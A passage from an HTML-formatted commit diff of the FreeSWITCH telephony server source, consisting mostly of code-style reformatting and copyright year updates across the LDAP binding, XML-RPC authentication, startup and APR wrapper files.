</span><span class="cx">         switch (binding->bt) {
</span><del>-                case XML_LDAP_CONFIG:
-                        xml = switch_xml_add_child_d(xml, "section", xoff++);
-                        switch_xml_set_attr_d(xml, "name", "configuration");
-                        filter = switch_mprintf(binding->filter,key_name,key_value);
-                        basedn = switch_mprintf(binding->basedn,tag_name);
-                        ret = trysearch(&xml,&xoff,ld, basedn, filter);
-                        break;
</del><ins>+        case XML_LDAP_CONFIG:
+                xml = switch_xml_add_child_d(xml, "section", xoff++);
+                switch_xml_set_attr_d(xml, "name", "configuration");
+                filter = switch_mprintf(binding->filter, key_name, key_value);
+                basedn = switch_mprintf(binding->basedn, tag_name);
+                ret = trysearch(&xml, &xoff, ld, basedn, filter);
+                break;
</ins><span class="cx">
</span><del>-                case XML_LDAP_DIRECTORY:
-                        ret = trydir(&xml,&xoff,ld,dir_domain,dir_exten, binding);
-                        break;
</del><ins>+        case XML_LDAP_DIRECTORY:
+                ret = trydir(&xml, &xoff, ld, dir_domain, dir_exten, binding);
+                break;
</ins><span class="cx">
</span><del>-                case XML_LDAP_DIALPLAN:
-                        break;
</del><ins>+        case XML_LDAP_DIALPLAN:
+                break;
</ins><span class="cx">
</span><del>-                case XML_LDAP_PHRASE:
-                        break;
</del><ins>+        case XML_LDAP_PHRASE:
+                break;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><del>-        cleanup:
</del><ins>+ cleanup:
</ins><span class="cx">         ldap_unbind_s(ld);
</span><span class="cx">
</span><del>- switch_xml_toxml_buf(xml,buf,0,0,1);
- printf("providing:\n%s\n", buf);
</del><ins>+        switch_xml_toxml_buf(xml, buf, 0, 0, 1);
+        printf("providing:\n%s\n", buf);
</ins><span class="cx">         switch_safe_free(buf);
</span><span class="cx">
</span><span class="cx">         if (ret != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_xml_free(xml);
</span><span class="cx">                 return NULL;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return xml;
</span><span class="cx"> }
</span><del>-
</del></span></pre></div>
<a id="freeswitchtrunksrcmodxml_intmod_xml_rpcmod_xml_rpcc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/xml_int/mod_xml_rpc/mod_xml_rpc.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/xml_int/mod_xml_rpc/mod_xml_rpc.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/xml_int/mod_xml_rpc/mod_xml_rpc.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -161,9 +161,8 @@
</span><span class="cx">         return ret ? SWITCH_STATUS_FALSE : SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static abyss_bool user_attributes (const char *user, const char *domain_name,
- const char **ppasswd, const char **pvm_passwd,
- const char **palias, const char **pallowed_commands)
</del><ins>+static abyss_bool user_attributes(const char *user, const char *domain_name,
+                                                                 const char **ppasswd, const char **pvm_passwd, const char **palias, const char **pallowed_commands)
</ins><span class="cx"> {
</span><span class="cx">         const char *passwd;
</span><span class="cx">         const char *vm_passwd;
</span><span class="lines">@@ -183,7 +182,7 @@
</span><span class="cx">         switch_event_create(&params, SWITCH_EVENT_REQUEST_PARAMS);
</span><span class="cx">         switch_assert(params);
</span><span class="cx">         switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "number_alias", "check");
</span><del>-                                
</del><ins>+
</ins><span class="cx">         if (switch_xml_locate_user("id", user, domain_name, NULL, &x_domain_root, &x_domain, &x_user, NULL, params) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_event_destroy(&params);
</span><span class="cx">                 if (x_domain_root) {
</span><span class="lines">@@ -196,11 +195,11 @@
</span><span class="cx">         alias = switch_xml_attr(x_user, "number-alias");
</span><span class="cx">
</span><span class="cx">         if ((x_params = switch_xml_child(x_domain, "params"))) {
</span><del>-        
</del><ins>+
</ins><span class="cx">                 for (x_param = switch_xml_child(x_params, "param"); x_param; x_param = x_param->next) {
</span><span class="cx">                         const char *var = switch_xml_attr_soft(x_param, "name");
</span><span class="cx">                         const char *val = switch_xml_attr_soft(x_param, "value");
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!strcasecmp(var, "password")) {
</span><span class="cx">                                 passwd = val;
</span><span class="cx">                         } else if (!strcasecmp(var, "vm-password")) {
</span><span class="lines">@@ -216,7 +215,7 @@
</span><span class="cx">                 for (x_param = switch_xml_child(x_params, "param"); x_param; x_param = x_param->next) {
</span><span class="cx">                         const char *var = switch_xml_attr_soft(x_param, "name");
</span><span class="cx">                         const char *val = switch_xml_attr_soft(x_param, "value");
</span><del>-                
</del><ins>+
</ins><span class="cx">                         if (!strcasecmp(var, "password")) {
</span><span class="cx">                                 passwd = val;
</span><span class="cx">                         } else if (!strcasecmp(var, "vm-password")) {
</span><span class="lines">@@ -235,8 +234,8 @@
</span><span class="cx">                 *palias = strdup(alias);
</span><span class="cx">         if (pallowed_commands)
</span><span class="cx">                 *pallowed_commands = strdup(allowed_commands);
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         if (x_domain_root) {
</span><span class="cx">                 switch_xml_free(x_domain_root);
</span><span class="cx">         }
</span><span class="lines">@@ -244,7 +243,7 @@
</span><span class="cx">         return TRUE;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static abyss_bool is_authorized (const TSession *r, const char *command)
</del><ins>+static abyss_bool is_authorized(const TSession * r, const char *command)
</ins><span class="cx"> {
</span><span class="cx">         char *user = NULL, *domain_name = NULL;
</span><span class="cx">         char *allowed_commands;
</span><span class="lines">@@ -263,7 +262,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (!r->requestInfo.user) {
</span><del>-                return FALSE;        
</del><ins>+                return FALSE;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         user = strdup(r->requestInfo.user);
</span><span class="lines">@@ -277,14 +276,14 @@
</span><span class="cx">                 switch_safe_free(user);
</span><span class="cx">                 return TRUE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(user) || zstr(domain_name)) {
</span><span class="cx">                 switch_safe_free(user);
</span><span class="cx">                 return FALSE;
</span><span class="cx">         }
</span><del>-        
</del><span class="cx">
</span><del>-        if (!user_attributes (user, domain_name, NULL, NULL, NULL, &allowed_commands)) {
</del><ins>+
+        if (!user_attributes(user, domain_name, NULL, NULL, NULL, &allowed_commands)) {
</ins><span class="cx">                 switch_safe_free(user);
</span><span class="cx">                 return FALSE;
</span><span class="cx">         }
</span><span class="lines">@@ -295,21 +294,21 @@
</span><span class="cx">                 return FALSE;
</span><span class="cx">
</span><span class="cx">         dup = allowed_commands;
</span><del>-        argc = switch_separate_string (dup, ',', argv, (sizeof(argv) / sizeof(argv[0])));
</del><ins>+        argc = switch_separate_string(dup, ',', argv, (sizeof(argv) / sizeof(argv[0])));
</ins><span class="cx">
</span><span class="cx">         for (i = 0; i < argc; i++) {
</span><span class="cx">                 if (!strcasecmp(argv[i], command)
</span><del>- || !strcasecmp(argv[i], "any")) {
</del><ins>+                        || !strcasecmp(argv[i], "any")) {
</ins><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        switch_safe_free (dup);
</del><ins>+        switch_safe_free(dup);
</ins><span class="cx">
</span><span class="cx">         return i < argc ? TRUE : FALSE;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static abyss_bool http_directory_auth(TSession *r, char *domain_name)
</del><ins>+static abyss_bool http_directory_auth(TSession * r, char *domain_name)
</ins><span class="cx"> {
</span><span class="cx">         char *p;
</span><span class="cx">         char *x;
</span><span class="lines">@@ -321,7 +320,7 @@
</span><span class="cx">         int at = 0;
</span><span class="cx">         char *dp;
</span><span class="cx">         abyss_bool rval = FALSE;
</span><del>-        
</del><ins>+
</ins><span class="cx">         p = RequestHeaderValue(r, "authorization");
</span><span class="cx">
</span><span class="cx">         if (p) {
</span><span class="lines">@@ -334,13 +333,13 @@
</span><span class="cx">                                 if ((pass = strchr(user, ':'))) {
</span><span class="cx">                                         *pass++ = '\0';
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((dp = strchr(user, '@'))) {
</span><span class="cx">                                         *dp++ = '\0';
</span><span class="cx">                                         domain_name = dp;
</span><span class="cx">                                         at++;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!domain_name) {
</span><span class="cx">                                         if (globals.virtual_host) {
</span><span class="cx">                                                 if ((domain_name = (char *) r->requestInfo.host)) {
</span><span class="lines">@@ -375,7 +374,7 @@
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">
</span><del>-                                if (!user_attributes (user, domain_name, &mypass1, &mypass2, &box, NULL)) {
</del><ins>+                                if (!user_attributes(user, domain_name, &mypass1, &mypass2, &box, NULL)) {
</ins><span class="cx">                                         goto fail;
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="lines">@@ -441,7 +440,7 @@
</span><span class="cx">                                 goto fail;
</span><span class="cx">
</span><span class="cx">                          authed:
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_snprintf(z, sizeof(z), "%s@%s", (box ? box : user), domain_name);
</span><span class="cx">                                 r->requestInfo.user = strdup(z);
</span><span class="cx">
</span><span class="lines">@@ -453,18 +452,18 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>- fail:
</del><ins>+ fail:
</ins><span class="cx">
</span><span class="cx">         switch_snprintf(z, sizeof(z), "Basic realm=\"%s\"", domain_name ? domain_name : globals.realm);
</span><span class="cx">         ResponseAddField(r, "WWW-Authenticate", z);
</span><span class="cx">         ResponseStatus(r, 401);
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         switch_safe_free(mypass1);
</span><span class="cx">         switch_safe_free(mypass2);
</span><span class="cx">         switch_safe_free(box);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return rval;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -614,7 +613,6 @@
</span><span class="cx">         if (is_authorized(r, command)) {
</span><span class="cx">                 goto auth;
</span><span class="cx">         }
</span><del>-
</del><span class="cx">         //unauth:
</span><span class="cx">         ResponseStatus(r, 403);
</span><span class="cx">         ResponseError(r);
</span><span class="lines">@@ -626,7 +624,7 @@
</span><span class="cx">
</span><span class="cx">         if (switch_event_create(&stream.param_event, SWITCH_EVENT_API) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 const char *const content_length = RequestHeaderValue(r, "content-length");
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (html)
</span><span class="cx">                         switch_event_add_header_string(stream.param_event, SWITCH_STACK_BOTTOM, "Content-type", "text/html");
</span><span class="cx">                 else if (text)
</span><span class="lines">@@ -639,7 +637,7 @@
</span><span class="cx">                         switch_event_add_header_string(stream.param_event, SWITCH_STACK_BOTTOM, "FreeSWITCH-Domain", fs_domain);
</span><span class="cx">                 if (path_info)
</span><span class="cx">                         switch_event_add_header_string(stream.param_event, SWITCH_STACK_BOTTOM, "HTTP-Path-Info", path_info);
</span><del>-                        switch_event_add_header_string(stream.param_event, SWITCH_STACK_BOTTOM, "HTTP-URI", r->requestInfo.uri);
</del><ins>+                switch_event_add_header_string(stream.param_event, SWITCH_STACK_BOTTOM, "HTTP-URI", r->requestInfo.uri);
</ins><span class="cx">                 if (r->requestInfo.query)
</span><span class="cx">                         switch_event_add_header_string(stream.param_event, SWITCH_STACK_BOTTOM, "HTTP-QUERY", r->requestInfo.query);
</span><span class="cx">                 if (r->requestInfo.host)
</span><span class="lines">@@ -827,7 +825,7 @@
</span><span class="cx">                 return NULL;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (!is_authorized((const TSession *)callInfo, command)) {
</del><ins>+        if (!is_authorized((const TSession *) callInfo, command)) {
</ins><span class="cx">                 val = xmlrpc_build_value(envP, "s", "UNAUTHORIZED!");
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="lines">@@ -838,7 +836,7 @@
</span><span class="cx">                 freed = 1;
</span><span class="cx">                 command = "bgapi";
</span><span class="cx">                 arg = "unload mod_xml_rpc";
</span><del>-        } else         if (switch_stristr("reload", command) && switch_stristr("mod_xml_rpc", arg)) {
</del><ins>+        } else if (switch_stristr("reload", command) && switch_stristr("mod_xml_rpc", arg)) {
</ins><span class="cx">                 switch_safe_free(command);
</span><span class="cx">                 switch_safe_free(arg);
</span><span class="cx">                 freed = 1;
</span><span class="lines">@@ -855,7 +853,7 @@
</span><span class="cx">                 val = xmlrpc_build_value(envP, "s", "ERROR!");
</span><span class="cx">         }
</span><span class="cx">
</span><del>-end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         /* xmlrpc-c requires us to free memory it malloced from xmlrpc_decompose_value */
</span><span class="cx">         if (!freed) {
</span><span class="lines">@@ -977,7 +975,7 @@
</span><span class="cx">         //globals.abyssServer.running = 0;
</span><span class="cx">         //shutdown(globals.abyssServer.listensock, 2);
</span><span class="cx">         ServerTerminate(&globals.abyssServer);
</span><del>-        
</del><ins>+
</ins><span class="cx">         do {
</span><span class="cx">                 switch_yield(100000);
</span><span class="cx">         } while (globals.running);
</span></span></pre></div>
<a id="freeswitchtrunksrcswitchc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -102,8 +102,8 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* pull the pid from the file */
</span><del>-        if (fscanf(f, "%d", (int *)(intptr_t)&pid)!=1) {
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,"Unable to get the pid!\n");
</del><ins>+        if (fscanf(f, "%d", (int *) (intptr_t) & pid) != 1) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to get the pid!\n");
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* if we have a valid pid */
</span><span class="lines">@@ -203,19 +203,20 @@
</span><span class="cx">
</span><span class="cx"> #else
</span><span class="cx">
</span><del>-void daemonize(void) {
</del><ins>+void daemonize(void)
+{
</ins><span class="cx">         int fd;
</span><span class="cx">         pid_t pid;
</span><span class="cx">
</span><span class="cx">         switch (fork()) {
</span><del>-                case 0:
-                        break;
-                case -1:
-                        fprintf(stderr, "Error Backgrounding (fork)! %d - %s\n", errno, strerror(errno));
-                        exit(0);
-                        break;
-                default:
-                        exit(0);
</del><ins>+        case 0:
+                break;
+        case -1:
+                fprintf(stderr, "Error Backgrounding (fork)! %d - %s\n", errno, strerror(errno));
+                exit(0);
+                break;
+        default:
+                exit(0);
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (setsid() < 0) {
</span><span class="lines">@@ -224,15 +225,15 @@
</span><span class="cx">         }
</span><span class="cx">         pid = fork();
</span><span class="cx">         switch (pid) {
</span><del>-                case 0:
-                        break;
-                case -1:
-                        fprintf(stderr, "Error Backgrounding (fork2)! %d - %s\n", errno, strerror(errno));
-                        exit(0);
-                        break;
-                default:
-                        fprintf(stderr, "%d Backgrounding.\n", (int) pid);
-                        exit(0);
</del><ins>+        case 0:
+                break;
+        case -1:
+                fprintf(stderr, "Error Backgrounding (fork2)! %d - %s\n", errno, strerror(errno));
+                exit(0);
+                break;
+        default:
+                fprintf(stderr, "%d Backgrounding.\n", (int) pid);
+                exit(0);
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* redirect std* to null */
</span><span class="lines">@@ -272,7 +273,7 @@
</span><span class="cx"> #endif
</span><span class="cx">         int nc = 0;                                        /* TRUE if we are running in noconsole mode */
</span><span class="cx">         pid_t pid = 0;
</span><del>-        int i,x;
</del><ins>+        int i, x;
</ins><span class="cx">         char *opts;
</span><span class="cx">         char opts_str[1024] = "";
</span><span class="cx">         char *local_argv[1024] = { 0 };
</span><span class="lines">@@ -320,14 +321,11 @@
</span><span class="cx">                 "\t-uninstall -- remove freeswitch as a service\n"
</span><span class="cx"> #else
</span><span class="cx">                 "\t-nf -- no forking\n"
</span><del>-                "\t-u [user] -- specify user to switch to\n"
-                "\t-g [group] -- specify group to switch to\n"
</del><ins>+                "\t-u [user] -- specify user to switch to\n" "\t-g [group] -- specify group to switch to\n"
</ins><span class="cx"> #endif
</span><del>-                "\t-help -- this message\n"
-                "\t-version -- print the version and exit\n"
</del><ins>+                "\t-help -- this message\n" "\t-version -- print the version and exit\n"
</ins><span class="cx"> #ifdef HAVE_SETRLIMIT
</span><del>-                "\t-waste -- allow memory waste\n"
-                "\t-core -- dump cores\n"
</del><ins>+                "\t-waste -- allow memory waste\n" "\t-core -- dump cores\n"
</ins><span class="cx"> #endif
</span><span class="cx">                 "\t-hp -- enable high priority settings\n"
</span><span class="cx">                 "\t-vg -- run under valgrind\n"
</span><span class="lines">@@ -344,8 +342,7 @@
</span><span class="cx">                 "\t-run [rundir] -- specify an alternate run dir\n"
</span><span class="cx">                 "\t-db [dbdir] -- specify an alternate db dir\n"
</span><span class="cx">                 "\t-mod [moddir] -- specify an alternate mod dir\n"
</span><del>-                "\t-htdocs [htdocsdir] -- specify an alternate htdocs dir\n"
-                "\t-scripts [scriptsdir] -- specify an alternate scripts dir\n";
</del><ins>+                "\t-htdocs [htdocsdir] -- specify an alternate htdocs dir\n" "\t-scripts [scriptsdir] -- specify an alternate scripts dir\n";
</ins><span class="cx">
</span><span class="cx">         for (x = 1; x < local_argc; x++) {
</span><span class="cx">                 known_opt = 0;
</span><span class="lines">@@ -375,20 +372,14 @@
</span><span class="cx">                                 known_opt++;
</span><span class="cx">                                 GetModuleFileName(NULL, exePath, 1024);
</span><span class="cx">                                 snprintf(servicePath, sizeof(servicePath), "%s -service %s", exePath, service_name);
</span><del>-                                { /* Perform service installation */
-                                        SC_HANDLE hService;
</del><ins>+                                {                                /* Perform service installation */
+                                        SC_HANDLE hService;
</ins><span class="cx">                                         SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
</span><span class="cx">                                         if (!hSCManager) {
</span><span class="cx">                                                 fprintf(stderr, "Could not open service manager (%d).\n", GetLastError());
</span><span class="cx">                                                 exit(1);
</span><span class="cx">                                         }
</span><del>-                                        hService = CreateService(hSCManager,
-                                                                                          service_name,
-                                                                                         service_name,
-                                                                                         GENERIC_READ | GENERIC_EXECUTE | SERVICE_CHANGE_CONFIG,
-                                                                                         SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE,
-                                                                                         servicePath, NULL, NULL, NULL,
-                                                                                         NULL, /* Service start name */
</del><ins>+                                        hService = CreateService(hSCManager, service_name, service_name, GENERIC_READ | GENERIC_EXECUTE | SERVICE_CHANGE_CONFIG, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, servicePath, NULL, NULL, NULL, NULL,        /* Service start name */
</ins><span class="cx">                                                                                          NULL);
</span><span class="cx">                                         if (!hService) {
</span><span class="cx">                                                 fprintf(stderr, "Error creating freeswitch service (%d).\n", GetLastError());
</span><span class="lines">@@ -413,7 +404,7 @@
</span><span class="cx">                                 } else {
</span><span class="cx">                                         switch_copy_string(service_name, SERVICENAME_DEFAULT, SERVICENAME_MAXLEN);
</span><span class="cx">                                 }
</span><del>-                                { /* Do the uninstallation */
</del><ins>+                                {                                /* Do the uninstallation */
</ins><span class="cx">                                         SC_HANDLE hService;
</span><span class="cx">                                         SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
</span><span class="cx">                                         if (!hSCManager) {
</span><span class="lines">@@ -436,7 +427,6 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-
</del><span class="cx"> #else
</span><span class="cx">                 if (local_argv[x] && !strcmp(local_argv[x], "-u")) {
</span><span class="cx">                         x++;
</span><span class="lines">@@ -464,7 +454,6 @@
</span><span class="cx">                         return 0;
</span><span class="cx">                         known_opt++;
</span><span class="cx">                 }
</span><del>-
</del><span class="cx"> #endif
</span><span class="cx"> #ifdef HAVE_SETRLIMIT
</span><span class="cx">                 if (local_argv[x] && !strcmp(local_argv[x], "-core")) {
</span><span class="lines">@@ -563,7 +552,7 @@
</span><span class="cx">                         }
</span><span class="cx">                         known_opt++;
</span><span class="cx">                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                 if (local_argv[x] && !strcmp(local_argv[x], "-log")) {
</span><span class="cx">                         x++;
</span><span class="cx">                         if (local_argv[x] && strlen(local_argv[x])) {
</span><span class="lines">@@ -653,7 +642,7 @@
</span><span class="cx">                         exit(0);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (log_set && !run_set) {
</span><span class="cx">                 SWITCH_GLOBAL_dirs.run_dir = (char *) malloc(strlen(SWITCH_GLOBAL_dirs.log_dir) + 1);
</span><span class="cx">                 if (!SWITCH_GLOBAL_dirs.run_dir) {
</span><span class="lines">@@ -689,7 +678,6 @@
</span><span class="cx">                 }
</span><span class="cx"> #endif
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #if defined(HAVE_SETRLIMIT) && !defined(__sun)
</span><span class="cx">         if (!waste && !(flags & SCF_VG)) {
</span><span class="cx">                 memset(&rlp, 0, sizeof(rlp));
</span><span class="lines">@@ -698,8 +686,8 @@
</span><span class="cx">                         char buf[1024] = "";
</span><span class="cx">                         int i = 0;
</span><span class="cx">
</span><del>-                        fprintf(stderr, "Error: stacksize %d is too large: run ulimit -s %d or run %s -waste.\nauto-adjusting stack size for optimal performance...\n",
-                                        (int)(rlp.rlim_max / 1024), SWITCH_THREAD_STACKSIZE / 1024, local_argv[0]);
</del><ins>+                        fprintf(stderr, "Error: stacksize %d is too large: run ulimit -s %d or run %s -waste.\nauto-adjusting stack size for optimal performance...\n",
+                                        (int) (rlp.rlim_max / 1024), SWITCH_THREAD_STACKSIZE / 1024, local_argv[0]);
</ins><span class="cx">
</span><span class="cx">                         memset(&rlp, 0, sizeof(rlp));
</span><span class="cx">                         rlp.rlim_cur = SWITCH_THREAD_STACKSIZE;
</span><span class="lines">@@ -707,14 +695,14 @@
</span><span class="cx">                         setrlimit(RLIMIT_STACK, &rlp);
</span><span class="cx">
</span><span class="cx">                         apr_terminate();
</span><del>-                        ret = (int)execv(argv[0], argv);
-                        
-                        for(i = 0; i < argc; i++) {
</del><ins>+                        ret = (int) execv(argv[0], argv);
+
+                        for (i = 0; i < argc; i++) {
</ins><span class="cx">                                 switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "%s ", argv[i]);
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         return system(buf);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> #endif
</span><span class="lines">@@ -732,15 +720,16 @@
</span><span class="cx"> #ifndef WIN32
</span><span class="cx">         if (runas_user || runas_group) {
</span><span class="cx">                 if (change_user_group(runas_user, runas_group) < 0) {
</span><del>-                        fprintf(stderr, "Failed to switch user / group\n" );
</del><ins>+                        fprintf(stderr, "Failed to switch user / group\n");
</ins><span class="cx">                         return 255;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> #else
</span><span class="cx">         if (win32_service) {
</span><del>-                { /* Attempt to start service */
</del><ins>+                {                                                /* Attempt to start service */
</ins><span class="cx">                         SERVICE_TABLE_ENTRY dispatchTable[] = {
</span><del>-                                {service_name, &service_main},
</del><ins>+                                {service_name, &service_main}
+                                ,
</ins><span class="cx">                                 {NULL, NULL}
</span><span class="cx">                         };
</span><span class="cx">                         if (StartServiceCtrlDispatcher(dispatchTable) == 0) {
</span><span class="lines">@@ -763,14 +752,10 @@
</span><span class="cx">         pid_len = strlen(pid_buffer);
</span><span class="cx">
</span><span class="cx">         apr_pool_create(&pool, NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_dir_make_recursive(SWITCH_GLOBAL_dirs.run_dir, SWITCH_DEFAULT_DIR_PERMS, pool);
</span><span class="cx">
</span><del>-        if (switch_file_open(&fd,
-                                                 pid_path,
-                                                 SWITCH_FOPEN_READ,
-                                                 SWITCH_FPROT_UREAD | SWITCH_FPROT_UWRITE,
-                                                 pool) == SWITCH_STATUS_SUCCESS) {
</del><ins>+        if (switch_file_open(&fd, pid_path, SWITCH_FOPEN_READ, SWITCH_FPROT_UREAD | SWITCH_FPROT_UWRITE, pool) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">
</span><span class="cx">                 old_pid_len = sizeof(old_pid_buffer);
</span><span class="cx">                 switch_file_read(fd, old_pid_buffer, &old_pid_len);
</span><span class="lines">@@ -780,8 +765,7 @@
</span><span class="cx">         if (switch_file_open(&fd,
</span><span class="cx">                                                  pid_path,
</span><span class="cx">                                                  SWITCH_FOPEN_WRITE | SWITCH_FOPEN_CREATE | SWITCH_FOPEN_TRUNCATE,
</span><del>-                                                 SWITCH_FPROT_UREAD | SWITCH_FPROT_UWRITE,
-                                                 pool) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                 SWITCH_FPROT_UREAD | SWITCH_FPROT_UWRITE, pool) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 fprintf(stderr, "Cannot open pid file %s.\n", pid_path);
</span><span class="cx">                 return 255;
</span><span class="cx">         }
</span><span class="lines">@@ -805,7 +789,7 @@
</span><span class="cx">         switch_core_runtime_loop(nc);
</span><span class="cx">
</span><span class="cx">         destroy_status = switch_core_destroy();
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_file_close(fd);
</span><span class="cx">
</span><span class="cx">         if (unlink(pid_path) != 0) {
</span><span class="lines">@@ -815,12 +799,12 @@
</span><span class="cx">         if (destroy_status == SWITCH_STATUS_RESTART) {
</span><span class="cx">                 char buf[1024] = "";
</span><span class="cx">                 int j = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_sleep(1000000);
</span><del>-                ret = (int)execv(argv[0], argv);
</del><ins>+                ret = (int) execv(argv[0], argv);
</ins><span class="cx">                 fprintf(stderr, "Restart Failed [%s] resorting to plan b\n", strerror(errno));
</span><span class="cx">
</span><del>-                for(j = 0; j < argc; j++) {
</del><ins>+                for (j = 0; j < argc; j++) {
</ins><span class="cx">                         switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "%s ", argv[j]);
</span><span class="cx">                 }
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_aprc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_apr.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_apr.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_apr.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -75,13 +75,13 @@
</span><span class="cx"> #ifndef WIN32
</span><span class="cx">         return apr_os_thread_current();
</span><span class="cx"> #else
</span><del>-        return (switch_thread_id_t)(GetCurrentThreadId());
</del><ins>+        return (switch_thread_id_t) (GetCurrentThreadId());
</ins><span class="cx"> #endif
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(int) switch_thread_equal(switch_thread_id_t tid1, switch_thread_id_t tid2)
</span><span class="cx"> {
</span><del>-#ifdef WIN32
</del><ins>+#ifdef WIN32
</ins><span class="cx">         return (tid1 == tid2);
</span><span class="cx"> #else
</span><span class="cx">         return apr_os_thread_equal(tid1, tid2);
</span><span class="lines">@@ -95,26 +95,24 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(unsigned int) switch_ci_hashfunc_default(const char *char_key, switch_ssize_t *klen)
</span><del>-                                                                                                                
</del><span class="cx"> {
</span><del>- unsigned int hash = 0;
- const unsigned char *key = (const unsigned char *)char_key;
- const unsigned char *p;
- apr_ssize_t i;
-
